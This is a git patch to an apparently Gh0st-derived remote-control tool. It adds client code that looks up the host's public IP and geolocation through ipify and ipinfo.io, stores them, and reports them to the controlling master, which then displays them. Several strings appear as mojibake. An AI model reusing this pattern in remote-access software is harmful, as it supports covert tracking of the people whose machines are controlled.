From 9aa5d589c45d6a9a69616ee5704a0f1c69c5b88d Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 28 Jun 2025 16:50:01 +0800 Subject: [PATCH] fix: Showing wrong IP while using `Reverse Proxy` --- client/ClientDll_vs2015.vcxproj | 1 + client/LoginServer.cpp | 18 ++ common/commands.h | 2 + common/location.h | 205 ++++++++++++++++++++ server/2015Remote/2015RemoteDlg.cpp | 18 +- server/2015Remote/2015Remote_vs2015.vcxproj | 2 - server/2015Remote/SettingDlg.cpp | 5 +- server/2015Remote/parse_ip.cpp | 167 ---------------- server/2015Remote/parse_ip.h | 37 ---- server/2015Remote/sys/MachineDlg.cpp | 2 +- server/2015Remote/sys/MachineDlg.h | 6 +- 11 files changed, 243 insertions(+), 220 deletions(-) create mode 100644 common/location.h delete mode 100644 server/2015Remote/parse_ip.cpp delete mode 100644 server/2015Remote/parse_ip.h diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index a94e77d..31ee63d 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -190,6 +190,7 @@ + diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 083ead4..b3cdf0d 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -8,6 +8,7 @@ #include #include "common/skCrypter.h" #include +#include // by ChatGPT bool IsWindows11() { @@ -284,6 +285,23 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; const char* id = isDefault ? masterHash.c_str() : conn.szFlag; memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); + iniFile cfg(CLIENT_PATH); + std::string loc = cfg.GetStr("settings", "location", ""); + std::string pubIP = cfg.GetStr("settings", "public_ip", ""); + IPConverter cvt; + if (loc.empty()) { + std::string ip = cvt.getPublicIP(); + if (pubIP.empty()) pubIP = ip; + loc = cvt.GetGeoLocation(pubIP); + cfg.SetStr("settings", "location", loc); + } + if (pubIP.empty()) { + pubIP = cvt.getPublicIP(); + cfg.SetStr("settings", "public_ip", pubIP); + } + LoginInfor.AddReserved(loc.c_str()); + LoginInfor.AddReserved(pubIP.c_str()); + return LoginInfor; } diff --git a/common/commands.h b/common/commands.h index 832f548..d15a0e2 100644 --- a/common/commands.h +++ b/common/commands.h @@ -633,6 +633,8 @@ enum LOGIN_RES { RES_INSTALL_INFO = 7, // 安装信息 RES_PROGRAM_BITS = 8, // 程序位数 RES_EXPIRED_DATE = 9, // 到期日期 + RES_CLIENT_LOC = 10, // 地理位置 + RES_CLIENT_PUBIP = 11, // 公网地址 RES_MAX, }; diff --git a/common/location.h b/common/location.h new file mode 100644 index 0000000..30bea1c --- /dev/null +++ b/common/location.h @@ -0,0 +1,205 @@ +#pragma once +#include +#include +#include +#include +#include +#include "logger.h" +#include "jsoncpp/json.h" + +#ifndef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "jsoncpp/jsoncppd.lib") +#else +#pragma comment(lib, "jsoncpp/jsoncpp.lib") +#endif +#else +#ifdef _DEBUG +#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib") +#else +#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib") +#endif +#endif + +#pragma comment(lib, "wininet.lib") +#pragma comment(lib, "Iphlpapi.lib") + +inline void splitIpPort(const std::string& input, std::string& ip, std::string& port) { + size_t pos = input.find(':'); + if (pos != std::string::npos) { + ip = input.substr(0, pos); + port = input.substr(pos + 1); + } + else { + ip = input; + port = ""; + } +} + +/** + * IPConverter: IP 操作类,用于获取公网IP,获取IP对应的地理位置等. + * 目前是通过调用公开的互联网API完成,假如该查询网站不可访问则需要重新适配. + */ +class IPConverter +{ +public: + std::string IPtoAddress(const std::string& ip) { return "implement me"; } + + /** + * 判断给定的 IP 地址是否是局域网(内网)IP + * @param ipAddress IP 地址字符串(如 "192.168.1.1") + * @return 如果是局域网 IP,返回 true; 否则返回 false + */ + bool IsPrivateIP(const std::string& ipAddress) { + // 将 IP 地址字符串转换为二进制格式 + in_addr addr; + if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) { + Mprintf("Invalid IP address: %s\n", ipAddress.c_str()); + return false; + } + + // 将二进制 IP 地址转换为无符号整数 + unsigned long ip = ntohl(addr.s_addr); + + // 检查 IP 地址是否在局域网范围内 + if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8 + (ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12 + (ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16 + (ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8 + return true; + } + + return false; + } + + // 获取本机地理位置 + std::string GetLocalLocation() { + return GetGeoLocation(getPublicIP()); + } + + // 获取 IP 地址地理位置(基于[ipinfo.io]) + std::string GetGeoLocation(const std::string& IP) { + if (IP.empty()) return ""; + + std::string ip = IP; + if (isLocalIP(ip)) { + ip = getPublicIP(); + if (ip.empty()) + return ""; + } + + HINTERNET hInternet, hConnect; + DWORD bytesRead; + std::string readBuffer; + + // 初始化 WinINet + hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (hInternet == NULL) { + Mprintf("InternetOpen failed! %d\n", GetLastError()); + return ""; + } + + // 创建 HTTP 请求句柄 + std::string url = "http://ipinfo.io/" + ip + "/json"; + hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); + if (hConnect == NULL) { + Mprintf("InternetOpenUrlA failed! %d\n", GetLastError()); + InternetCloseHandle(hInternet); + return ""; + } + + // 读取返回的内容 + char buffer[4096]; + while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { + readBuffer.append(buffer, bytesRead); + } + + // 解析 JSON 响应 + Json::Value jsonData; + Json::Reader jsonReader; + std::string location; + + if (jsonReader.parse(readBuffer, jsonData)) { + std::string country = jsonData["country"].asString(); + std::string city = jsonData["city"].asString(); + std::string loc = jsonData["loc"].asString(); // 经纬度信息 + if (city.empty() && country.empty()) { + } + else if (city.empty()) { + location = country; + } + else if (country.empty()) { + location = city; + } + else { + location = city + ", " + country; + } + if (location.empty() && IsPrivateIP(ip)) { + location = "Local Area Network"; + } + } + else { + Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str()); + } + + // 关闭句柄 + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + + return location; + } + + bool isLoopbackAddress(const std::string& ip) { + return (ip == "127.0.0.1" || ip == "::1"); + } + + bool isLocalIP(const std::string& ip) { + if (isLoopbackAddress(ip)) return true; // 先检查回环地址 + + ULONG outBufLen = 15000; + IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); + if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) { + free(pAddresses); + pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); + } + + if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) { + for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) { + for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) { + char addressBuffer[INET6_ADDRSTRLEN] = { 0 }; + getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST); + + if (ip == addressBuffer) { + free(pAddresses); + return true; + } + } + } + } + + free(pAddresses); + return false; + } + + // 获取公网IP, 获取失败返回空 + std::string getPublicIP() { + HINTERNET hInternet, hConnect; + DWORD bytesRead; + char buffer[1024] = { 0 }; + + hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (!hInternet) return ""; + + hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0); + if (!hConnect) { + InternetCloseHandle(hInternet); + return ""; + } + + InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead); + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + + return std::string(buffer); + } +}; diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index c56c39b..da81078 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -23,7 +23,7 @@ #include "InputDlg.h" #include "CPasswordDlg.h" #include "pwd_gen.h" -#include "parse_ip.h" +#include "common/location.h" #include #include "DateVerify.h" #include @@ -597,7 +597,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName bool modify = false; CString loc = GetClientMapData(id, MAP_LOCATION); if (loc.IsEmpty()) { - loc = GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str(); + loc = v[RES_CLIENT_LOC].c_str(); + if (loc.IsEmpty()) { + IPConverter cvt; + loc = cvt.GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str(); + } if (!loc.IsEmpty()) { modify = true; SetClientMapData(id, MAP_LOCATION, loc); @@ -611,15 +615,16 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName if (modify) SaveToFile(m_ClientMap, GetDbPath()); auto& m = m_ClientMap[ContextObject->ID]; - int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP); + bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty(); + int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), flag ? v[RES_CLIENT_PUBIP].c_str() : strIP); for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) { n == ONLINELIST_COMPUTER_NAME ? m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) : m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]); } m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); - - ShowMessage("鎿嶄綔鎴愬姛",strIP+"涓绘満涓婄嚎"); + std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : ""; + ShowMessage("鎿嶄綔鎴愬姛",strIP + tip.c_str() + "涓绘満涓婄嚎"); LeaveCriticalSection(&m_cs); SendMasterSettings(ContextObject); @@ -835,7 +840,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() #else SetTimer(TIMER_CHECK, 600 * 1000, NULL); #endif - CString tip = !ip.empty() && ip != getPublicIP() ? + IPConverter cvt; + CString tip = !ip.empty() && ip != cvt.getPublicIP() ? CString(ip.c_str()) + " 蹇呴』鏄痋"鍏綉IP\"鎴栧弽鍚戜唬鐞嗘湇鍔″櫒IP": "璇疯缃甛"鍏綉IP\"锛屾垨浣跨敤鍙嶅悜浠g悊鏈嶅姟鍣ㄧ殑IP"; ShowMessage("浣跨敤鎻愮ず", tip); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 071c40e..3c86b3b 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -273,7 +273,6 @@ - @@ -337,7 +336,6 @@ NotUsing NotUsing - diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index c9901de..521abae 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -6,7 +6,7 @@ #include "SettingDlg.h" #include "afxdialogex.h" #include "client/CursorInfo.h" -#include "parse_ip.h" +#include "common/location.h" // CSettingDlg 对话框 @@ -63,8 +63,9 @@ END_MESSAGE_MAP() BOOL CSettingDlg::OnInitDialog() { CDialog::OnInitDialog(); + IPConverter cvt; m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str(); - m_sPublicIP = m_sPublicIP.IsEmpty() ? getPublicIP().c_str() : m_sPublicIP; + m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP; int nPort = THIS_CFG.GetInt("settings", "ghost"); //读取ini 文件中的监听端口 int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection"); diff --git a/server/2015Remote/parse_ip.cpp b/server/2015Remote/parse_ip.cpp deleted file mode 100644 index b242d6b..0000000 --- a/server/2015Remote/parse_ip.cpp +++ /dev/null @@ -1,167 +0,0 @@ -#include "stdafx.h" -#include "parse_ip.h" -#include -#include -#include - -#pragma comment(lib, "Iphlpapi.lib") - -/** - * 鍒ゆ柇缁欏畾鐨 IP 鍦板潃鏄惁鏄眬鍩熺綉锛堝唴缃戯級IP - * @param ipAddress IP 鍦板潃瀛楃涓诧紙濡 "192.168.1.1"锛 - * @return 濡傛灉鏄眬鍩熺綉 IP锛岃繑鍥 true锛涘惁鍒欒繑鍥 false - */ -bool IsPrivateIP(const std::string& ipAddress) { - // 灏 IP 鍦板潃瀛楃涓茶浆鎹负浜岃繘鍒舵牸寮 - in_addr addr; - if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) { - Mprintf("Invalid IP address: %s\n", ipAddress.c_str()); - return false; - } - - // 灏嗕簩杩涘埗 IP 鍦板潃杞崲涓烘棤绗﹀彿鏁存暟 - unsigned long ip = ntohl(addr.s_addr); - - // 妫鏌 IP 鍦板潃鏄惁鍦ㄥ眬鍩熺綉鑼冨洿鍐 - if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8 - (ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12 - (ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16 - (ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8 - return true; - } - - return false; -} - -// 鑾峰彇 IP 鍦板潃鍦扮悊浣嶇疆(鍩轰簬[ipinfo.io]) -std::string GetGeoLocation(const std::string& IP) { - std::string ip = IP; - if (isLocalIP(ip)) { - ip = getPublicIP(); - if (ip.empty()) - return ""; - } - - HINTERNET hInternet, hConnect; - DWORD bytesRead; - std::string readBuffer; - - // 鍒濆鍖 WinINet - hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); - if (hInternet == NULL) { - Mprintf("InternetOpen failed! %d\n", GetLastError()); - return ""; - } - - // 鍒涘缓 HTTP 璇锋眰鍙ユ焺 - std::string url = "http://ipinfo.io/" + ip + "/json"; - hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); - if (hConnect == NULL) { - Mprintf("InternetOpenUrlA failed! %d\n", GetLastError()); - InternetCloseHandle(hInternet); - return ""; - } - - // 璇诲彇杩斿洖鐨勫唴瀹 - char buffer[4096]; - while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { - readBuffer.append(buffer, bytesRead); - } - - // 瑙f瀽 JSON 鍝嶅簲 - Json::Value jsonData; - Json::Reader jsonReader; - std::string location; - - if (jsonReader.parse(readBuffer, jsonData)) { - std::string country = jsonData["country"].asString(); - std::string city = jsonData["city"].asString(); - std::string loc = jsonData["loc"].asString(); // 缁忕含搴︿俊鎭 - if (city.empty() && country.empty()) { - }else if (city.empty()) { - location = country; - }else if (country.empty()) { - location = city; - }else { - location = city + ", " + country; - } - if (location.empty() && IsPrivateIP(ip)) { - location = "Local Area Network"; - } - } - else { - Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str()); - } - - // 鍏抽棴鍙ユ焺 - InternetCloseHandle(hConnect); - InternetCloseHandle(hInternet); - - return location; -} - -bool isLoopbackAddress(const std::string& ip) { - return (ip == "127.0.0.1" || ip == "::1"); -} - -bool isLocalIP(const std::string& ip) { - if (isLoopbackAddress(ip)) return true; // 鍏堟鏌ュ洖鐜湴鍧 - - ULONG outBufLen = 15000; - IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); - if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) { - free(pAddresses); - pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen); - } - - if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) { - for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) { - for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) { - char addressBuffer[INET6_ADDRSTRLEN] = { 0 }; - getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST); - - if (ip == addressBuffer) { - free(pAddresses); - return true; - } - } - } - } - - free(pAddresses); - return false; -} - -// 鑾峰彇鍏綉IP, 鑾峰彇澶辫触杩斿洖绌 -std::string getPublicIP() { - HINTERNET hInternet, hConnect; - DWORD bytesRead; - char buffer[1024] = { 0 }; - - hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); - if (!hInternet) return ""; - - hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0); - if (!hConnect) { - InternetCloseHandle(hInternet); - return ""; - } - - InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead); - InternetCloseHandle(hConnect); - InternetCloseHandle(hInternet); - - return std::string(buffer); -} - -void splitIpPort(const std::string& input, std::string& ip, std::string& port) { - size_t pos = input.find(':'); - if (pos != std::string::npos) { - ip = input.substr(0, pos); - port = input.substr(pos + 1); - } - else { - ip = input; - port = ""; - } -} diff --git a/server/2015Remote/parse_ip.h b/server/2015Remote/parse_ip.h deleted file mode 100644 index b56dc1f..0000000 --- a/server/2015Remote/parse_ip.h +++ /dev/null @@ -1,37 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include "jsoncpp/json.h" - -#ifndef _WIN64 -#ifdef _DEBUG -#pragma comment(lib, "jsoncpp/jsoncppd.lib") -#else -#pragma comment(lib, "jsoncpp/jsoncpp.lib") -#endif -#else -#ifdef _DEBUG -#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib") -#else -#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib") -#endif -#endif - -#pragma comment(lib, "wininet.lib") - -// 鑾峰彇 IP 鍦板潃鍦扮悊浣嶇疆 -std::string GetGeoLocation(const std::string& ip); - -// 鏄惁涓烘湰鏈篒P -bool isLocalIP(const std::string& ip); - -// 鑾峰彇鏈満鍏綉IP, 鑾峰彇澶辫触杩斿洖绌 -std::string getPublicIP(); - -// 鍒ゆ柇缁欏畾鐨 IP 鍦板潃鏄惁鏄眬鍩熺綉锛堝唴缃戯級IP -bool IsPrivateIP(const std::string& ipAddress); - -void splitIpPort(const std::string& input, std::string& ip, std::string& port); diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index b9088d0..b03fb4b 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -531,7 +531,7 @@ void CMachineDlg::ShowNetStateList() if (!IPAddress.Compare(_T("0.0.0.0")) || !IPAddress.Compare(_T("*.*.*.*"))) { str = _T("---"); } else { - str = m_IPConverter->IPtoAddress(IPAddress); + str = m_IPConverter->IPtoAddress(IPAddress.GetString()).c_str(); } m_list.SetItemText(i, j, str); } diff --git a/server/2015Remote/sys/MachineDlg.h b/server/2015Remote/sys/MachineDlg.h index 6fc4457..ce90e7d 100644 --- a/server/2015Remote/sys/MachineDlg.h +++ b/server/2015Remote/sys/MachineDlg.h @@ -7,11 +7,7 @@ // CMachineDlg dialog // TODO: 实现IP获取. -class IPConverter -{ -public: - CString IPtoAddress(const CString& ip) { return "implement me"; } -}; +#include "common/location.h" class CMachineDlg : public DialogBase